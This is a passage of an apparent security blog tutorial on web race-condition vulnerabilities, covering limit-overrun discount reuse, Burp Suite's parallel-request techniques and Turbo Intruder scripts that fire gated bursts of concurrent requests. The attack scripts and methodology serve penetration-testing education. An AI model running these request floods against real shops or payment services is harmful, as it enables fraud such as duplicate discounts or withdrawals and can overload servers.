&lt;p&gt;Technically speaking, Race condition occurs when multiple threads read and write the same variable i.e. they have access to some shared data and they try to change it at the same time. In such a scenario threads are “racing” each other to access/change the data. This is a major security vulnerability where an attacker can extract sensitive information by exploiting the race window.&lt;/p&gt;

&lt;p&gt;In this blog we will be talking about race condition vulnerabilities in various web scenarios. Lessgoo&lt;/p&gt;




&lt;h2&gt;
  
  
  Limit Overrun race conditions
&lt;/h2&gt;

&lt;p&gt;its the most well known type of race condition which enable you to exceed any limit imposed by the business logic of the example. Lets take an example so that things can become more clear.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Consider an online store that lets you enter a promotional code during checkout to get a one-time discount on your order.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To apply this discount, the application may perform the following high-level steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Check that you haven't already used this code.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apply the discount to the order total.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update the record in the database to reflect the fact that you've now used this code.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you later attempt to reuse this code, the initial checks performed at the start of the process should prevent you from doing this&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy0utznangr8hq2zgcpfb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy0utznangr8hq2zgcpfb.png" alt=" " width="800" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now consider what would happen if a user who has never applied this discount code before tried to apply it twice at almost exactly the same time: &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz0plo2u9vc3ulrk54004.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz0plo2u9vc3ulrk54004.png" alt=" " width="800" height="293"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see, the application transitions through a temporary sub-state; that is, a state that it enters and then exits again before request processing is complete. In this case, the sub-state begins when the server starts processing the first request, and ends when it updates the database to indicate that you've already used this code. This introduces a small race window during which you can repeatedly claim the discount as many times as you like. So by sending two parallel request at the same time we can exploit the race window and apply the discount code twice. Now imagine sending more than 2 of these parallel requests. The discounted code will get added up and ultimately you can buy the product at a very cheap price.&lt;/p&gt;

&lt;p&gt;The primary challenge is timing the requests so that at least two race windows line up, causing a collision. This window is often just milliseconds and can be even shorter. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8mayk4z2ff8onczrbyg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc8mayk4z2ff8onczrbyg.png" alt=" " width="800" height="179"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Detecting and Exploiting Limit Overrun Race Conditions with Burp Suite
&lt;/h2&gt;

&lt;p&gt;Race condition vulnerabilities, particularly those involving business logic bypasses like limit overruns, are notoriously difficult to exploit reliably. The primary challenge lies in the extremely narrow timing window, often just a few milliseconds, during which two or more concurrent requests must be executed in near-perfect synchronization. Traditionally, this has required either precise scripting or specialized tools with limited visibility and flexibility.&lt;/p&gt;

&lt;p&gt;However, recent advancements in &lt;strong&gt;Burp Suite’s Repeater tool&lt;/strong&gt;—particularly the updates introduced in &lt;strong&gt;version 2023.9&lt;/strong&gt;—have significantly improved a pentester's ability to &lt;strong&gt;detect and exploit race conditions&lt;/strong&gt; with high precision.&lt;/p&gt;

&lt;h3&gt;
  
  
  Introducing Parallel Request Support in Burp Repeater
&lt;/h3&gt;

&lt;p&gt;Burp Repeater has historically been used for sending individual HTTP requests and analyzing responses. While invaluable for manual testing, it was previously limited in scenarios where &lt;strong&gt;concurrent request timing&lt;/strong&gt; was critical.&lt;/p&gt;

&lt;p&gt;With the 2023.9 update, Burp Repeater introduced &lt;strong&gt;parallel request execution&lt;/strong&gt;, allowing testers to send multiple, carefully crafted requests simultaneously. This functionality dramatically enhances the ability to exploit vulnerabilities that depend on &lt;strong&gt;precise timing&lt;/strong&gt;, such as race conditions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding the Role of Network Jitter
&lt;/h3&gt;

&lt;p&gt;Network &lt;strong&gt;jitter&lt;/strong&gt; refers to the variability in packet delay across a network. Even a high-speed connection can suffer from inconsistent delivery times, which significantly affects any exploit that depends on synchronized timing. In the context of race condition testing, jitter introduces unpredictability—causing well-timed requests to miss the race window entirely.&lt;/p&gt;

&lt;p&gt;To address this, Burp Suite introduced &lt;strong&gt;two protocol-specific synchronization strategies&lt;/strong&gt; aimed at minimizing the impact of jitter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting Race Conditions over HTTP/1: The Last-Byte Synchronization Technique
&lt;/h2&gt;

&lt;p&gt;When testing a target that communicates over the &lt;strong&gt;HTTP/1 protocol&lt;/strong&gt;, Burp Repeater leverages a technique known as &lt;strong&gt;last-byte synchronization&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In this method:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multiple requests are prepared and transmitted up to the &lt;strong&gt;final byte&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;These partially sent requests are held in a queued state by the tool.&lt;/li&gt;
&lt;li&gt;At the precise moment, the final byte of each request is released simultaneously.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This ensures that all requests &lt;strong&gt;hit the server at the same time&lt;/strong&gt;, entering the same race window and maximizing the chance of triggering a vulnerability. The technique effectively removes jitter from the equation during the critical portion of the request transmission.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploiting Race Conditions over HTTP/2: The Single-Packet Attack
&lt;/h2&gt;

&lt;p&gt;In environments where the target application supports &lt;strong&gt;HTTP/2&lt;/strong&gt;, Burp Suite employs a more sophisticated approach known as the &lt;strong&gt;Single-Packet Attack&lt;/strong&gt;, which was first introduced at &lt;strong&gt;Black Hat 2023&lt;/strong&gt; by PortSwigger researchers.&lt;/p&gt;

&lt;p&gt;This technique involves:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Crafting &lt;strong&gt;multiple complete HTTP/2 requests&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Combining them into a &lt;strong&gt;single TCP packet&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Transmitting that single packet so that all embedded requests are processed by the server &lt;strong&gt;simultaneously&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The benefit of this method is that it &lt;strong&gt;eliminates the risk of jitter entirely&lt;/strong&gt;, as the server receives and processes all requests within the same network operation. It is particularly effective against modern web applications with asynchronous or multi-threaded backend processing, where subtle timing mismatches can otherwise prevent successful exploitation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implications for Limit Overrun Exploits
&lt;/h2&gt;

&lt;p&gt;When attempting to exploit &lt;strong&gt;limit overrun vulnerabilities&lt;/strong&gt;, the ability to synchronize requests at a granular level is critical. Whether you're:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Applying the same discount code multiple times&lt;/li&gt;
&lt;li&gt;Triggering concurrent withdrawals in a fintech application&lt;/li&gt;
&lt;li&gt;Circumventing resource allocation limits&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;these new techniques in Burp Suite significantly improve the likelihood of a successful exploit.&lt;/p&gt;

&lt;p&gt;By utilizing either &lt;strong&gt;last-byte synchronization (HTTP/1)&lt;/strong&gt; or the &lt;strong&gt;single-packet attack (HTTP/2)&lt;/strong&gt;, penetration testers can reliably enter the temporary sub-states that make race condition exploits possible.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fda4l08u4aydf99c4foj2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fda4l08u4aydf99c4foj2.png" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why send so many requests?
&lt;/h2&gt;

&lt;p&gt;You may think that race conditions can be easily exploited by 2 requests so why send 20-30 parallel requests at the same time. The reasons for this are-&lt;/p&gt;

&lt;p&gt;It overcomes &lt;strong&gt;server-side delays&lt;/strong&gt; (aka internal latency or server-side jitter)&lt;/p&gt;

&lt;p&gt;It &lt;strong&gt;increases your chances&lt;/strong&gt; of hitting the vulnerable timing&lt;/p&gt;

&lt;p&gt;Great during the &lt;strong&gt;recon/discovery phase&lt;/strong&gt; when you’re probing behavior and testing the race condition vulnerability&lt;/p&gt;

&lt;p&gt;basically the more requests you send the more your chances increase of hitting the sweet spot&lt;/p&gt;

&lt;p&gt;Let's take our previous example where we try to redeem coupons at the same time and and exploit the race condition &lt;/p&gt;

&lt;p&gt;Normally, jitter might cause one request to arrive too early or too late&lt;/p&gt;

&lt;p&gt;With Burp's new techniques, you can &lt;strong&gt;flood&lt;/strong&gt; the server with 30 simultaneous coupon redeems&lt;/p&gt;

&lt;p&gt;If the timing is right, the coupon might be used multiple times and then your &lt;strong&gt;vulnerability would be confirmed&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Turbo Intruder – The Fast Lane for Race Condition Attacks
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgoqte1z5k3eio5tvzrsh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgoqte1z5k3eio5tvzrsh.png" alt=" " width="317" height="159"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Turbo Intruder&lt;/strong&gt; is a powerful &lt;strong&gt;Burp Suite extension&lt;/strong&gt; designed for lightning-fast, customizable HTTP request attacks. Unlike the default Intruder tool, Turbo Intruder uses asynchronous I/O and optimized threading to send &lt;strong&gt;thousands of requests per second&lt;/strong&gt;, making it ideal for testing &lt;strong&gt;race conditions, brute-force attacks, token fuzzing,&lt;/strong&gt; and more.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Features:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Blazing Speed&lt;/strong&gt;: Far faster than Burp’s built-in Intruder, even in the Community Edition.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Python Scripting&lt;/strong&gt;: Full control over request generation and response handling using Jython.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Asynchronous Engine&lt;/strong&gt;: Efficiently handles massive concurrent connections.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Versatile Use Cases&lt;/strong&gt;: Race conditions, login brute-forcing, JWT tampering, SSRF detection, HTTP desync attacks, and more.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  How to Use:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Install from Burp's &lt;strong&gt;BApp Store&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Right-click any request → &lt;strong&gt;Send to Turbo Intruder&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Customize the pre-built Python script to define payloads, logic, and filtering.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Example Use Case:
&lt;/h3&gt;

&lt;p&gt;Detecting a race condition by sending 100 concurrent password reset requests in parallel.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;queueRequests&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;wordlists&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;RequestEngine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                           &lt;span class="n"&gt;concurrentConnections&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                           &lt;span class="n"&gt;requestsPerConnection&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                           &lt;span class="n"&gt;pipeline&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;race&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handleResponse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;interesting&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Success&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Race condition triggered!&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Note:
&lt;/h4&gt;

&lt;p&gt;Use responsibly — Turbo Intruder can overwhelm or crash servers if misused. Always test within a legal scope.&lt;/p&gt;

&lt;h2&gt;
  
  
  Using Turbo Intruder to Detect Race Condition Overruns
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Detecting Race Conditions with Single-Packet Attacks
&lt;/h3&gt;

&lt;p&gt;To detect overrun vulnerabilities caused by race conditions, Turbo Intruder supports a technique known as the &lt;strong&gt;single-packet attack&lt;/strong&gt;. This method involves grouping requests and sending them simultaneously within a single TCP packet, assuming the server supports HTTP/2.&lt;/p&gt;

&lt;h4&gt;
  
  
  Setup Instructions
&lt;/h4&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Ensure the target application supports HTTP/2, as the single-packet attack is not compatible with HTTP/1.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Configure the request engine to use the HTTP/2 backend with one concurrent connection:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;RequestEngine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
       &lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;endpoint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;concurrentConnections&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;BURP2&lt;/span&gt;
   &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Queue multiple requests using a gate label. For example, queue 20 requests under gate &lt;code&gt;'1'&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
       &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Once queued, release all requests in the gate at once:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;   &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;openGate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This structure ensures that all 20 requests are sent in parallel within the same TCP packet, increasing the likelihood of triggering a race condition if one exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  Single endpoint race condition
&lt;/h2&gt;

&lt;p&gt;Sending parallel requests to a single endpoint can be really important in some cases, for example consider a password reset mechanism that stores the user ID and reset token in the user's session.&lt;/p&gt;

&lt;p&gt;In this scenario, sending two parallel password reset requests from the same session, but with two different usernames, could potentially cause the collision in password reset mechanism&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftvxj3mabgc2insbg02x8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftvxj3mabgc2insbg02x8.png" alt=" " width="800" height="369"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Methodology to follow to exploit race conditions
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0pdqf096jf802z2d9d1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd0pdqf096jf802z2d9d1.png" alt=" " width="800" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Predict potential collisions
&lt;/h3&gt;

&lt;p&gt;Testing every endpoint is impractical. After mapping out the target site as normal, you can reduce the number of endpoints that you need to test by asking yourself the following questions:&lt;/p&gt;

&lt;p&gt;Is this endpoint security critical? Many endpoints don't touch critical functionality, so they're not worth testing.&lt;br&gt;
Is there any collision potential? For a successful collision, you typically need two or more requests that trigger operations on the same record. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fei5h6h6qtq7h34t2rqtu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fei5h6h6qtq7h34t2rqtu.png" alt=" " width="800" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Probe for clues(Race condition testing)
&lt;/h3&gt;

&lt;p&gt;First, understand how the endpoint behaves normally by sending a &lt;strong&gt;group of requests one after another&lt;/strong&gt; in &lt;strong&gt;sequence&lt;/strong&gt; using &lt;strong&gt;Burp Repeater&lt;/strong&gt;. This gives you a baseline.&lt;/p&gt;

&lt;p&gt;Next, send the &lt;strong&gt;same group of requests all at once&lt;/strong&gt; (in parallel) to simulate a race condition. This reduces network delay and may trigger unexpected behavior. Use &lt;strong&gt;"Send group in parallel"&lt;/strong&gt; in Burp Repeater or &lt;strong&gt;Turbo Intruder&lt;/strong&gt; for faster, more aggressive testing.&lt;/p&gt;

&lt;p&gt;Watch for any &lt;strong&gt;differences in responses&lt;/strong&gt; or app behavior — even small changes like different emails or weird UI behavior. These deviations are &lt;strong&gt;clues&lt;/strong&gt; that a race condition may exist.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Prove the concept
&lt;/h3&gt;

&lt;p&gt;Try to understand what's happening, remove superfluous requests, and make sure you can still replicate the effects.&lt;/p&gt;

&lt;p&gt;Advanced race conditions can cause unusual and unique primitives, so the path to maximum impact isn't always immediately obvious. It may help to think of each race condition as a structural weakness rather than an isolated vulnerability.&lt;/p&gt;




&lt;h2&gt;
  
  
  Multi endpoint race conditions
&lt;/h2&gt;

&lt;p&gt;We can also send requests to multiple endpoints at the same time. think about the classic logic flaw in online stores where you add an item to your basket or cart, pay for it, then add more items to the cart before force-browsing to the order confirmation page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktqtjud5rp1gir6fhiqj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktqtjud5rp1gir6fhiqj.png" alt=" " width="800" height="128"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Understanding Multi-Endpoint Race Conditions: Problems and Workarounds
&lt;/h1&gt;

&lt;p&gt;When exploiting &lt;strong&gt;race conditions&lt;/strong&gt;, attackers often target a single vulnerable endpoint. However, when a race condition spans &lt;strong&gt;multiple endpoints&lt;/strong&gt;, synchronizing requests becomes significantly more complex. Even if requests are sent simultaneously, they may not reach or be processed by the server at the same time due to various timing discrepancies.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Multi-Endpoint Race Conditions Are Challenging
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Network Delays
&lt;/h3&gt;

&lt;p&gt;Network delays can stem from client-to-server communication overhead, front-end processing, or the nature of the HTTP protocol itself:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTTP/1.1&lt;/strong&gt;: Opens a new TCP connection for each request unless Keep-Alive is explicitly enabled.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTP/2&lt;/strong&gt;: Uses multiplexing over a single connection, reducing connection-related delays.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These delays usually affect &lt;strong&gt;all requests uniformly&lt;/strong&gt;, so even if there’s a delay, the &lt;strong&gt;relative timing between requests&lt;/strong&gt; may still remain intact.&lt;/p&gt;

&lt;p&gt;If only the &lt;strong&gt;first request&lt;/strong&gt; is slower but the rest arrive close together, it’s likely a connection-related delay. This can often be ignored.&lt;/p&gt;

&lt;h3&gt;
  
  
  Endpoint-Specific Delays
&lt;/h3&gt;

&lt;p&gt;Some endpoints take longer to process than others due to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Complex business logic&lt;/li&gt;
&lt;li&gt;Heavy database operations&lt;/li&gt;
&lt;li&gt;Additional validation steps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These delays impact only the affected endpoints, disrupting synchronization across requests.&lt;/p&gt;

&lt;p&gt;If response times remain inconsistent across multiple requests, even after warming up connections, this indicates endpoint-specific delays that need to be accounted for.&lt;/p&gt;




&lt;h2&gt;
  
  
  Workarounds for Synchronizing Requests
&lt;/h2&gt;

&lt;p&gt;To deal with inconsistencies and improve synchronization, consider the following techniques:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Adjust Request Timing Manually
&lt;/h3&gt;

&lt;p&gt;Manually shift the timing of your requests. For example, send requests to slower endpoints slightly earlier to compensate for the processing time difference.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Use Connection Reuse or HTTP/2
&lt;/h3&gt;

&lt;p&gt;Reducing connection overhead helps requests arrive more predictably:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reuse TCP connections using the &lt;strong&gt;Keep-Alive&lt;/strong&gt; header.&lt;/li&gt;
&lt;li&gt;Prefer &lt;strong&gt;HTTP/2&lt;/strong&gt;, which allows multiple requests to be sent simultaneously over a single connection.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Pad Faster Endpoints
&lt;/h3&gt;

&lt;p&gt;If some endpoints consistently respond faster, slow them down intentionally to align with slower ones:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add delays (e.g., using &lt;code&gt;sleep()&lt;/code&gt; functions, if supported)&lt;/li&gt;
&lt;li&gt;Increase payload size to artificially extend processing time&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Use Turbo Intruder for Fine-Grained Timing Control
&lt;/h3&gt;

